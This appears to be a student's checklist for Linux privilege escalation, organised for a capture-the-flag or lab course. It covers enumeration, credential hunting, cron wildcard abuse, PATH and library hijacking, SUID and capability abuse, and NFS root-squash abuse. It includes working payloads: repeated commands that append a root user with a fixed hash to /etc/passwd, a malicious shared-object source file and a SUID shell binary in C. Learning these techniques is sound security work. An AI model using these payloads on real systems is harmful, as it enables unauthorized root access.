Linux Privilege Escalation

HTB Linux Privesc Checklist

Enumerating Linux

Files and User Privileges

• Each file has read, write, and execute
• Groups are owner, owner’s group (/etc/group), and others (everybody else) group

Manual Enumeration

• Getting info about the system
  • Running id can tell use about the user context
  • Running hostname can give us, the, uh, hostname
  • Reading /etc/issue and /etc/os-release and uname -a can give us OS info for exploits
  • Explore processes with ps aux
  • Check out network adapters with ip a or ifconfig
    • Display routing tables with route or routel or netstat -rn
    • Check the arp table for recent connections with arp -a (same with /etc/hosts)
  • Display active connections with netstat -anp or ss -anp
• Getting info on the firewall (without root user -> iptables)
  • Can sometimes read /etc/iptables
  • Can search for iptables-save output in that directory, ending in .v4 I think
• Check cron jobs with ls -lah /etc/cron*
  • Has sections showing what is run at what intervals (e.g. hourly)
    • We can then check those folders to see what’s running (e.g. /etc/cron.hourly/)
  • If we have sudo permissions ONLY for checking crontab, running sudo crontab -l will show scripts run by the root user
  • Can also check for running cron jobs with grep "CRON" /var/log/syslog
• Querying installed packages with dpkg -l
• Checking drives
  • mount will list all mounted filesystems
    • Can also cat /etc/fstab and grep for sensitive information
  • lsblk to list all available disks
  • df -h to list
• List attached printers with lpstat
• Check kernel modules with lsmod
  • To investigate certain modules, use /sbin/modinfo {module_name}

Automated Enumeration

• linpeas
  • https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
• unix-privesc-check
  • Checks for misconfigurations that can be used for privescs
  • Located in kali at /usr/bin/unix-privesc-check
  • ./unix-privesc-check standard > output.txt
• LinEnum - apparently a developed tool listed alongside LinPeas
• pspy - https://github.com/DominicBreuker/pspy
  • Use static 64bit version
  • Checks for commands being executed on the host
  • Finds scripts
• linux-exploit-suggester (executed by linpeas)
  • https://github.com/jondonas/linux-exploit-suggester-2

Exposed Confidential Information

Checking User History Files

• .bashrc can sometimes contains environment variables with credentials
• echo $HISTFILE
• Can check environment variables with env

Inspecting User/System Trails for Credentials

• Can use watch -n 1sudo to run something like ps -aux | grep "pass" to look for new processes spawned with “pass” somewhere in the command
• If TCPdump sudo permissions have already been given to us, we can use it to monitor network traffic, which isn’t normally allowed
  • sudo tcpdump -i lo -A | grep "pass"

Searching for interesting files

• Many times, especially on engagements, there will be custom scripts everywhere
  • These can have credentials or generally important system information, like accessing a local service
• Search for these with find . -name '*.sh' 2>/dev/null (or .py, .pl, etc.)
  • To exclude directories, use -not -path '{path}/*'
    • For example, find / -name '*.sh' -not -path '/snap/*' -not -path '/usr/src/linux*' 2>/dev/null

Insecure File Permissions

Abusing Insecure Cron Jobs/File Permissions

• Checking for running cron jobs
  • ls -lah /etc/cron*
  • grep "CRON" /var/log/syslog
  • check /var/log/cron.log
  • We can also abuse wildcards
    • For example, if there’s a cron job taking the tar of the current directory with tar -zcf {output_file} *, we can name a file --checkpoint=1 --checkpoint-action=exec={command_or_script}, which would get appended onto the tar command due to the wildcard
• Find modifiable cron jobs and overwrite them with anything, really
• Find writable directories with find / -writable -type d 2>/dev/null
• Find writable files with find / -writable -type f 2>/dev/null
• Find readable files with find /home -readable -type f 2>/dev/null

Abusing Password Authentication

• /etc/passwd is considered valid for auth, even with existence of /etc/shadow, meaning that if we can write to /etc/passwd we can just set an arbitrary password for a user
  • Generate a new password with openssl passwd {passwd}, which returns crypt algo hash
  • Then, create a new user with that hash as their password in the following format:
    • echo 'root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash' >> /etc/passwd (creates new root2/w00t user)

Abusing System Linux Components

PATH Abuse

• If we can write executables to PATH (linpeas will let us know if we can), we can replace common binaries with our custom malicious ones
• For example, if we can write to /usr/sbin, we could add a file there called cat with echo 'root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash' >> /etc/passwd inside
  • Since /usr/sbin comes first in $PATH (and is shared among users), scripts run by root that call cat would run our binary
  • These can be startup scripts or application scripts, we just need root to run it

SetUID/SetGID

• Linpeas will check for setuid and setgid executables
• These binaries can be executed by users with the rights of the owner or owner’s group
  • Thus, getting commands through one of these executables allows privesc
  • Search for these files with find / -perm -u=s -type f 2>/dev/null
    • Then, check if abusable with GTFO bins
• Scripts, like bash/python scripts, can have the suid bit, but will not execute as root until manually setting the UID to 0
  • For example, if a python script has the setuid bit, it will need to os.setuid(0) before anything is run as root
    • This is done for safety reasons due to a kernel race conditionw with loading and execution scripts
  • However, after these scripts elevate their privileges, we can modify our own path such that ANY binaries are ours
    • echo "echo 'root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash' >> /etc/passwd" > /tmp/cat (replace cat with target binary)
    • chmod +x /tmp/cat
    • export PATH=/tmp:$PATH (placing /tmp at the front so our “binaries” come first)
    • Then, just run the script. After privileges are elevated and any of our binaries are called, we’ll get the user added to /etc/passwd

Abuse Capabilities

• Capabilities provide fine-grain privilege granting to processes
  • Can use cap_setuid, cap_setgid, cap_sys_admin, or cap_dac_override to gain root privileges
• Enumerate for binaries with capabilities (fine-grain executable powers)
  • getcap -r / 2>/dev/null
    • Might need to specify the full path at /usr/sbin/getcap
• Then check GTFOBins for UNIX binaries that can be misused for privesc
  • For example, perhaps we have a binary (vim) with file read permissions (cap_dac_override) - we could use it to read a root-level file

Circumvent Special Sudo Permissions

• sudo -l to see allowed commands
• “AppArmor” is a kernel module providing Mandatory Access Control; can prevent privesc
• Search up all sudo binaries in GTFOBins to see if they can be abused

Enumerate Kernel for CVEs

• Get kernel info with cat /etc/issue, uname -r, and arch
• Then, use searchsploit to search for existing kernel exploits
  • searchsploit "linux kernel {kernel type and version} Local Privilege Escalation" and then grep for the version needed
    • grep "4." | grep -v " < 4.4.4" | grep -v "4.8"

Shared Object Hijacking

• Basically the linux equivalent of DLL hijacking
• If we see that a custom suid/sudo binary is using a custom library, we can specify it ourselves by putting it in the executable’s RUNPATH, which is given loading priority
  • readelf -d {binary} | grep PATH will tell us the runpath of the binary
• If we can write to the RUNPATH, we can compile a malicious .so file to be used by the binary in place of a custom .so file
• Use ldd to figure out which shared objects are in use (as well as their paths)
  • ldd {executable_name}
• Can compile the code below into an so file with gcc {c_code_file} -fPIC -shared -o {output_so_file} and move the file to the correct location

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

void dbquery() {
    setuid(0);
    system("echo 'root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash' >> /etc/passwd");
} 

• Now running the initial binary should result in the malicious shared object being executed

Python Library Hijacking

• If we have a suid python script, we can sometimes take over the libraries in use
• Option 1: Write permissions
  • If we can write to the library’s python code itself, we can pretty easily add import os; os.system('{command}') to the function name
  • For example, if we see that psutil is imported and the virtual_memory() function is used, we can run grep -r "def virtual_memory" /usr/local/lib/python3.8/dist-packages/psutil/* and locate where the function itself is called, adding our line to the top of the function
• Option 2: Library Paths
  • If we have write permissions to a library path that is earlier than the library path that our script is importing, we can beat it to the punch
  • Use python3 -c 'import sys; print("\n".join(sys.path))' to see the in-order priority list of library locations
  • We can then add the library as {library_name}.py to a higher directory, with a function inside that runs import os; os.system('{command}')
• Option 3: Environment Variables
  • If we have SETENV for /usr/bin/python3 in /etc/sudoers, we can define the location to import modules from
  • We can then just run PYTHONPATH=/tmp/ python3 ./{script} with our malicious library and function, same as above
    • This format just sets the environment variable’s scope to the single command (as the first parameter)

Escaping Restricted Shells

• Great resource: https://0xffsec.com/handbook/shells/restricted-shells/

Common Restricted Shells

• Rbash - restricted Bourne shell (sh)
  • Can’t change directories, set/modify env vars, or execute commands in other directories
• Rksh - restricted Korn shell
  • Similar as above, can’t cd, set/modify env, or exec commands in other directories
• Rzsh - restricted Z shell
  • Can’t run scripts, defining aliases, and modifying env

Command Injection

• Using $() or ` to simply execute commands
• Can also try doing something like ls -l ${cmd}
• Using shell metacharacters to specify multiple commands, for example ls;whoami or ls|whoami

Modifying Environment Variables

• If some custom command uses an environment variable, we can modify it to gain full command execution
• Alternatively, we can sometimes change our directory of execution via specifying a different directory in an environment variable
  • If we can’t see the environment variables, try echoing $0 or $PATH directly

Shell Functions

• Create a function like function asdf() { /bin/bash; }, and then run asdf

Reading files

• Sometimes, the best we can do is reading files
• We can see which commands we have by checking our PATH and seeing what commands we have at our disposal
  • Alternatively, we can run something like help or compgen -c to see what we have
• Then, use GTFObins or searching up online to see how we can abuse
  • For example, if we have man, we can do man -C {file} to set the contents of the file as man config, which man will error out on
  • This will inadvertently show where in the file contents the error is, allowing us to read the file

Miscellaneous

No Root Squash Abuse

• Having root squash enabled for an NFS volume means that if root connects, the user is changed to nfsnobody, which is unprivileged
  • Missing this check is a security issue
• Exploitation steps:
  • Create suid binary that executes /bin/sh on kali machine

    #include <stdio.h>
    #include <sys/types.h>
    #include <unistd.h>
    #include <stdlib.h>
  
    int main(void)
    {
    setuid(0); setgid(0); system("/bin/bash");
    }
  

  • Mount /mnt to /tmp on the target server’s NFS - sudo mount -t nfs {target}:/tmp /mnt
  • Copy the file to /tmp directory on the NFS server - cp {binary_name} /mnt
  • Set the SUID bit - chmod u+s /mnt/{binary_name}
  • Swtich back to the low priv user session and execute to gain a shell

What to do once you have root?

• Look around the filesystem for passwords
  • /etc/shadow for hashes
  • Application config files
  • Log files (like apache)
  • All users’ home directories for interesting files/bash history